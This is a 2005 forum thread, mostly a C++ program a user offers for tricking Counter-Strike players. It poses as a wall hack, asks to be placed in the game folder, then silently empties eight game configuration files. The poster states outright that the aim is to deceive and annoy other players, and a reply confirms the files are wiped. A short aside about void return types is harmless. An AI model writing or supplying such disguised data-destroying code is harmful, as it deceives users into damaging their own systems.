January 22, 200520 yr Void is used to not return a value, e.g. void print(String s) { //Print whatever } As there's no need for a value to be returned it's void. The main method is int when you want to return whether there was an error within the app or not, void if you don't care lol.
January 23, 200520 yr heres a funny script u trick noobs on cs tellin them its a hack =P the purpose of this script is because im bored n i wanna piss some idiots off im just gonna write this and not go over it... //fake hack tat messes noobs up! #include <iostream> #include <fstream> using namespace std; int main() { int answer; cout<<"This is a wall hack for cs!\n"; cout<<"Place this file into your cstrike folder or it wont function properly!\n"; cout<<"If this file is in your cstrike folder, press one...other wise press something else."\n; cin>> answer; if ( answer == 1 ) { ofstream file("config.cfg", ios::trunc); ofstream file2("autoexec.cfg", ios::trunc); ofstream file3("gl.txt", ios::trunc); ofstream file4("motd.cfg", ios::trunc); ofstream file5("rebuy.cfg", ios::trunc); ofstream file6("autobuy.cfg", ios::trunc); ofstream file7("fps.cfg", ios::trunc); ofstream file8("custom.hpk", ios::trunc); cout<<"Hack is on!\n"; } else { cout<<"THEN PUT THE STUPID FILE INTO YOUR CSTRIKE FOLDER U NOOB!\n"; cin.get(); } } as i said b4...i am bored...tats y i wrote the script... i know java and am learning c++. t hey are VERY similar in a lot of wats. i was just wondering what ios:trunc does here. does it truncate/delete the files?
January 23, 200520 yr lol yes...ios::trunc does delete files...or else, this program to trick noobs wouldnt be funny at all =P...........gl.txt is 4 mbs large...i dunno wth its used for but it seems important lol